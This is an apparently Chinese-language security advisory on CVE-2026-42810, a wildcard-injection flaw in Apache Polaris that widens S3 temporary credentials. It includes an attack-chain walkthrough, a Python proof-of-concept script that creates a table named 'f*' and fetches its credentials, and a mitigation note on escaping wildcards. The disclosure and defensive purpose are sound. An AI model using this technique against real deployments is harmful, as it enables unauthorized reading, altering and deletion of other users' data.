IPBUF安全漏洞报告
English
CVE-2026-42810 CVSS 9.9 严重

CVE-2026-42810 Apache Polaris S3权限绕过漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42810
漏洞类型
权限绕过
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Polaris

相关标签

权限绕过Apache PolarisS3通配符注入访问控制

漏洞概述

Apache Polaris 在处理命名空间和表名时,允许输入字面量通配符 `*`。当系统为委托表访问构建临时 S3 访问策略时,未对这些特殊字符进行转义,导致它们在 S3 IAM 策略中被解释为通配符。这使得攻击者可以创建包含通配符的恶意表(如 `*.*`),利用返回的 S3 临时凭证绕过 Polaris 的权限检查,非法访问、读取甚至篡改其他表的 S3 存储数据,造成严重的数据泄露风险。

技术细节

该漏洞源于 Apache Polaris 在生成 S3 委托凭证时的输入验证缺失。Polaris 允许在表名中使用 `*`,并在构建 S3 IAM 资源模式(如 `s3:prefix`)时直接复用这些名称。由于 S3 IAM 策略将 `*` 视为匹配任意字符的通配符,攻击者只需具备创建表的权限,即可构造如 `f*.t1` 的表名。系统颁发的凭证将包含类似 `arn:aws:s3:::bucket/f*.t1/*` 的策略,实际上允许攻击者通过 S3 API 直接访问 `foo.t1` 或 `food.t1` 等目标表的数据。测试表明,即使攻击者对目标表没有 Polaris 权限,也能利用此漏洞读取元数据、列出文件前缀,甚至在拥有写权限时创建或删除对象。这种攻击完全绕过了 Polaris 应用层的 ACL 限制,导致跨表的数据泄露、元数据篡改及数据删除,严重危害数据的机密性、完整性和可用性。

攻击链分析

STEP 1
步骤1
攻击者利用低权限账户登录 Apache Polaris,该账户仅需具备创建表(TABLE_CREATE)和写入数据(TABLE_WRITE_DATA)的权限。
STEP 2
步骤2
攻击者在特定命名空间下创建一个精心设计的表,表名中包含通配符字符(例如 `f*.t1` 或 `*.*`)。
STEP 3
步骤3
Apache Polaris 处理该表请求时,生成用于访问 S3 的临时 IAM 凭证。由于未对表名中的 `*` 进行转义,S3 策略中的资源 ARN 或前缀条件包含了通配符。
STEP 4
步骤4
攻击者获取返回的 S3 临时凭证。由于 S3 IAM 策略将 `*` 解释为通配符,该凭证实际上被授权访问匹配该模式的所有 S3 路径。
STEP 5
步骤5
攻击者利用这些凭证直接调用 S3 API,读取、列出、修改或删除其他受害表(如 `foo.t1`)的数据,从而绕过 Polaris 的权限控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit concept for CVE-2026-42810 # Attacker creates a table with a wildcard name to broaden S3 credentials. def exploit_polaris_s3_bypass(target_url, attacker_token): headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Step 1: Create a malicious table with a wildcard in the name # This attempts to match any table starting with 'f' malicious_table_name = "f*" namespace = "default" payload = { "name": malicious_table_name, "namespace": namespace, "properties": {} } print(f"[*] Attempting to create table '{namespace}.{malicious_table_name}'...") # Hypothetical API endpoint create_url = f"{target_url}/api/management/v1/namespaces/{namespace}/tables" try: response = requests.post(create_url, headers=headers, json=payload) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious table created successfully.") else: print(f"[-] Failed to create table: {response.text}") return except Exception as e: print(f"[-] Error creating table: {e}") return # Step 2: Request temporary S3 credentials for the malicious table print(f"[*] Requesting S3 credentials for '{namespace}.{malicious_table_name}'...") creds_url = f"{target_url}/api/iceberg/v1/{namespace}/tables/{malicious_table_name}/s3-credentials" try: creds_response = requests.get(creds_url, headers=headers) if creds_response.status_code == 200: creds = creds_response.json() print("[+] S3 Credentials received:") print(json.dumps(creds, indent=2)) print("[!] The 'Resource' or 'Condition' field likely contains a wildcard (e.g., arn:aws:s3:::bucket/f*/*)") print("[!] Using these credentials, an attacker can access data for tables like 'foo', 'food', etc.") else: print(f"[-] Failed to get credentials: {creds_response.text}") except Exception as e: print(f"[-] Error getting credentials: {e}") if __name__ == "__main__": # Replace with actual target and token exploit_polaris_s3_bypass("http://localhost:8080", "ATTACKER_JWT_TOKEN")

影响范围

Apache Polaris 1.4.0

防御指南

临时缓解措施
在应用层面对用户输入的表名和命名空间进行严格的校验,过滤或转义通配符字符(*)。同时,审查现有的 IAM 策略生成逻辑,确保生成的 S3 资源模式不会意外引入泛化匹配,防止权限范围扩大。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表